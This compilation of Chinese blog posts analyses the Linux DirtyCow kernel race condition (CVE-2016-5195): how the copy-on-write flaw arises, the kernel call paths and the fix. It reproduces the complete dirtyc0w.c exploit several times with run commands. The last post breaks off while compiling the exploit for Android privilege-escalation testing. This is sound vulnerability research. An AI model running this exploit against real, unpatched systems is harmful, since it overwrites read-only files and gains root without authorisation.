2018-03-09 23:09:20 bme314 阅读数 961

DirtyCow Linux权限提升漏洞分析
这里写图片描述
如上图,这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求,再次被分配时就不执行row执行机制,导致原本不应该本写的地址拥有了写的权限。

这里写图片描述

这里写图片描述

这里写图片描述

画了个图,感觉应该挺形象的。

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

这个漏洞强大的表现在于,不会被一般环境限制,只要是页表在执行row机制的时候,我们就可以想办法竞争清空页表。然后获取只读地址的可写权限。这种漏洞个人感觉利用起来还是比较方便的。不过可惜早就补上了。

文章中的原图下载

2017-02-18 09:43:12 trap0D 阅读数 1424

DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

0x0 概述

这篇分析最早写在团队的BLOG里,在这里也贴一下(http://lab.xmirror.cn/)。

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

0x1 POC分析

先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
   c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;

  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
  if (argc<3)return 1;
  pthread_t pth1,pth2;

  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];

  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);

  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

madvise(map,100,MADV_DONTNEED)

madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));

0x2 漏洞原理分析

这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

__get_user_pages{
        ……
retry:
          if (unlikely(fatal_signal_pending(current)))
                     return i ? i : -ERESTARTSYS;
          cond_resched();
          page = follow_page_mask(vma, start, foll_flags, &page_mask);
          if (!page) {
                  int ret;
                  ret = faultin_page(tsk, vma, start, &foll_flags,
                                    nonblocking);
                  switch (ret) {
                    case 0:
                           goto retry;
        ……
}

当上述流程走到case 0时,会循环调用follow_page_mask、faultin_page两个函数。由于第一次调用__get_user_pages,需要处理缺页,会进行如下的调用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault

当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

do_fault{
    ……
    if (!(fe->flags & FAULT_FLAG_WRITE))
        return do_read_fault(fe, pgoff);
    //当不是VM_SHARED的时候,执行cow
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(fe, pgoff);
    ……
}

继续执行:

do_fault->do_cow_fault->alloc_set_pte

其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)

faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

follow_page_mask->follow_page_pte

follow_page_pte{
    ...
    if ((flags & FOLL_WRITE) && !pte_write(pte)) {
            pte_unmap_unlock(ptep, ptl);
            return NULL;
    }
    ...
}

这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

Handle_pte_fault{
 if (fe->flags & FAULT_FLAG_WRITE) {
            if (!pte_write(entry))
                   return do_wp_page(fe, entry);
            entry = pte_mkdirty(entry);
    }
}

此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

do_wp_page-> ……->wp_page_reuse

由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

Fault_in_page{
    ...
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
            *flags &= ~FOLL_WRITE;
}

正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

do_fault{
    ……
    if (!(fe->flags & FAULT_FLAG_WRITE))
        return do_read_fault(fe, pgoff);
    //当不是VM_SHARED的时候,执行cow
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(fe, pgoff);
    ……
}

这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

正常流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面

漏洞流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。

0x03 补丁分析

补丁加入了一个标志位,标识之前进行过COW

+#define FOLL_COW   0x4000  /* internal GUP flag */

faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-       *flags &= ~FOLL_WRITE;
+       *flags |= FOLL_COW;
return 0;

follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+   return pte_write(pte) ||
+       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}

follow_page_pte{
...
-   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
        pte_unmap_unlock(ptep, ptl);
        return NULL;
}

1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

参考:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

https://dirtycow.ninja/

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

http://bobao.360.cn/learning/detail/3132.html

http://lxr.free-electrons.com/source/mm/gup.c

http://lxr.free-electrons.com/source/mm/memory.c

http://lxr.free-electrons.com/source/mm/madvise.c

2016-11-14 10:10:55 Anprou 阅读数 1189

本文为悬镜安全实验室原创文章,文章首发平台:悬镜官网-安全实验室。如需转载,请联系小编。

0x0 概述

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a ("Fix getuserpages() race for write access") but that was then undone due to problems on s390 by commit f33ea7f404e5 ("fix getuserpages bug").

该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

0x1 POC分析

先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:


    void *madviseThread(void *arg)
    {
      char *str;
      str=(char*)arg;
      int i,c=0;
      for(i=0;i<100000000;i++)
      {
       c+=madvise(map,100,MADV_DONTNEED);
      }
      printf("madvise %d\n\n",c);
    }
     
    void *procselfmemThread(void *arg)
    {
      char *str;
      str=(char*)arg;
      
      int f=open("/proc/self/mem",O_RDWR);
      int i,c=0;
      for(i=0;i<100000000;i++) {
      
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
      }
      printf("procselfmem %d\n\n", c);
    }
          
    int main(int argc,char *argv[])
    {
      if (argc<3)return 1;
      pthread_t pth1,pth2;
       
      f=open(argv[1],O_RDONLY);
      fstat(f,&st);
      name=argv[1];
  
      map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
      printf("mmap %x\n\n",map);
       
      pthread_create(&pth1,NULL,madviseThread,argv[1]);
      pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    
      pthread_join(pth1,NULL);
      pthread_join(pth2,NULL);
      return 0;
    }

上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

madvise(map,100,MADV_DONTNEED)

madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));

0x2 漏洞原理分析

这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

__get_user_pages{
        ……
retry:
          if (unlikely(fatal_signal_pending(current)))
                     return i ? i : -ERESTARTSYS;
          cond_resched();
          page = follow_page_mask(vma, start, foll_flags, &page_mask);
          if (!page) {
                  int ret;
                  ret = faultin_page(tsk, vma, start, &foll_flags,
                                    nonblocking);
                  switch (ret) {
                    case 0:
                           goto retry;
        ……
}

当上述流程走到case 0时,会循环调用follow_page_mask、faultinpage两个函数。由于第一次调用_get_user_pages,需要处理缺页,会进行如下的调用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault

当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

do_fault{
    ……
    if (!(fe->flags & FAULT_FLAG_WRITE))
        return do_read_fault(fe, pgoff);
    //当不是VM_SHARED的时候,执行cow
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(fe, pgoff);
    ……
}

继续执行:

do_fault->do_cow_fault->alloc_set_pte

其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)

faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

follow_page_mask->follow_page_pte

follow_page_pte{
    ...
    if ((flags & FOLL_WRITE) && !pte_write(pte)) {
            pte_unmap_unlock(ptep, ptl);
            return NULL;
    }
    ...
}

这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

Handle_pte_fault{
 if (fe->flags & FAULT_FLAG_WRITE) {
            if (!pte_write(entry))
                   return do_wp_page(fe, entry);
            entry = pte_mkdirty(entry);
    }
}

此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

do_wp_page-> ……->wp_page_reuse

由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

Fault_in_page{
    ...
    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
            *flags &= ~FOLL_WRITE;
}

正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

do_fault{
    ……
    if (!(fe->flags & FAULT_FLAG_WRITE))
        return do_read_fault(fe, pgoff);
    //当不是VM_SHARED的时候,执行cow
    if (!(vma->vm_flags & VM_SHARED))
        return do_cow_fault(fe, pgoff);
    ……
}

这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

正常流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面

漏洞流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。

0x03 补丁分析

补丁加入了一个标志位,标识之前进行过COW

+#define FOLL_COW   0x4000  /* internal GUP flag */

faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-       *flags &= ~FOLL_WRITE;
+       *flags |= FOLL_COW;
return 0;

follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+   return pte_write(pte) ||
+       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}

follow_page_pte{
...
-   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
        pte_unmap_unlock(ptep, ptl);
        return NULL;
}

1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

参考:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

https://dirtycow.ninja/

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

http://bobao.360.cn/learning/detail/3132.html

http://lxr.free-electrons.com/source/mm/gup.c

http://lxr.free-electrons.com/source/mm/memory.c

http://lxr.free-electrons.com/source/mm/madvise.c

2018-08-08 19:22:35 cui841923894 阅读数 461

概述

DirtyCow漏洞算是2016年linux社区一件大事情了,通过此漏洞,非授权用户可以写入任意文件,进一步提升权限。漏洞触发简单,涉及众多的linux版本和平台(linux2.6.22及其以上,涉及redhat,ubuntu,suse等多多平台)。
简单来说,CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时,触发里面的竞争条件导致获取文件可写入权限,从而可以进一步获取更大的权限。

触发

触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

触发方式:

# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000

分析

1.首先梳理下dirtyc0w.c
main函数将用户输入的只读文件mmap映射,flag参数是MAP_PRIVATE且只读。MAP_PRIVATE属性会在对此内存写入时,创建一个cow的副本。然后创建2个线程madviseThread和procselfmemThread,其中procselfmemThread通过/proc/self/mem文件尝试向被映射的内存不断写入数据,madviseThread则不断调用madvise(map,100,MADV_DONTNEED)取消映射,而两个线程不断操作,竞争条件触发只读文件获取写入权限,流程在内核代码中。

2.代码流程参考
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

(1)第一次写操作:

faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        do_fault <- pte is not present

if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
这里判断写属性并且不是VM_SHARED,进入do_cow_fault创建cow副本

  do_cow_fault <- FAULT_FLAG_WRITE
    alloc_set_pte

这里4.1代码是do_set_pte():
if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);

      maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty
                            but keep it RO 

这里执行cow配文件映射内存页的副本,返回NULL

# Returns with 0 and retry
follow_page_mask
  follow_page_pte
(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault

这里判断cow创建的内存页是否具有写权限,没有直接返回NULL,再次进入faultin_page

faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        FAULT_FLAG_WRITE && !pte_write

if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
这里由于副本完成了内存映射,所以没有进入缺页错误,而是直接来到这里,进入do_wp_page()

  do_wp_page
    PageAnon() <- this is CoWed page already
    reuse_swap_page <- page is exclusively ours
    wp_page_reuse
      maybe_mkwrite <- dirty but RO again
      ret = VM_FAULT_WRITE

这里直接使用cow操作的副本,并且一层层返回到faultin_page()函数中,此时带VM_FAULT_WRITE标志。到达
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
这里会清除flags的FOLL_WRITE,因为后面需要对cow副本写入。按正常流程来讲,程序操作cow副本页。

((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE

# Returns with 0 and retry as a read fault

再次回到__get_user_pages的retry:
retry:
/*
* If we have a pending SIGKILL, don’t keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
正常流程会对cow副本页进行follow_page_mask()接下来操作,但是cond_resched();这个函数调用给其他线程抢占留了空隙,此时dirtyc0w.c的madviseThread()线程中的madvise(map,100,MADV_DONTNEED)取消了cow的映射,取消映射后进入follow_page_mask会再次触发缺页中断,而此时do_fault调用,已经在上面清理了flags的写权限的要求,直接调用do_read_fault读取映射文件的内存页,获取映射(原只读)文件的内存页,而不是cow的副本页,此时已经可越权操作。

cond_resched -> different thread will now unmap via madvise
follow_page_mask
  !pte_present && pte_none
faultin_page
  handle_mm_fault
    __handle_mm_fault
      handle_pte_fault
        do_fault <- pte is not present
      do_read_fault <- this is a read fault and we will get pagecache
               page!

再次梳理:
正常流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求->写入cow副页

漏洞流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求-> madvise unmap cow副页内存映射->再次触发缺页中断,并且flag清除了FOLL_WRITE,直接调用do_read_fault获取文件内存页,可读。

补丁:

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

新增了FOLL_COW,faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW,这样不会出现去掉FOLL_WRITE权限的操作,也不会引发后面问题。
这里写图片描述

dirtycow
2016-11-09 16:19:42 joosonmao 阅读数 3143

最近曝光一个关于dirtycow的linux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。


一、关于编译

在Windows7下的cygwin下编译

windows设置环境变量,将android-ndk-r11路径添加到Path下

cygwin下的找到一个 home\< 你的用户名 >\.bash_profile 文件,添加

NDK=/cygdrive/e/android-ndk-r5

export NDK

(其实在这里可能也不用,这是做android的ndk开发时用的,看这篇文章http://www.cnblogs.com/devinzhang/archive/2012/02/29/2373729.html)

makefile里这句

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21

可以修改android版本,我原来用的ndkr10,发现没有21的版本,后来路径改为r11,中间老是报没有ndk-build文件,我找了半天原因,后来才发现在11下真的没有这个linux下的可执行文件,就从r10下拷过来了。需要注意run-as.c文件里的 <sys/capability.h>注意,在 man 手册里使用 #include <sys/capability.h> 头文件。实际上,现在已经改为 #include <Linux/capability.h>

make成功

$ make
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
make[1]: 进入目录“/cygdrive/D/project/Android/android-ndk-r11/up”
[armeabi] Cygwin         : Generating dependency file converter script
[armeabi] Compile thumb  : dirtycow <= dirtycow.c
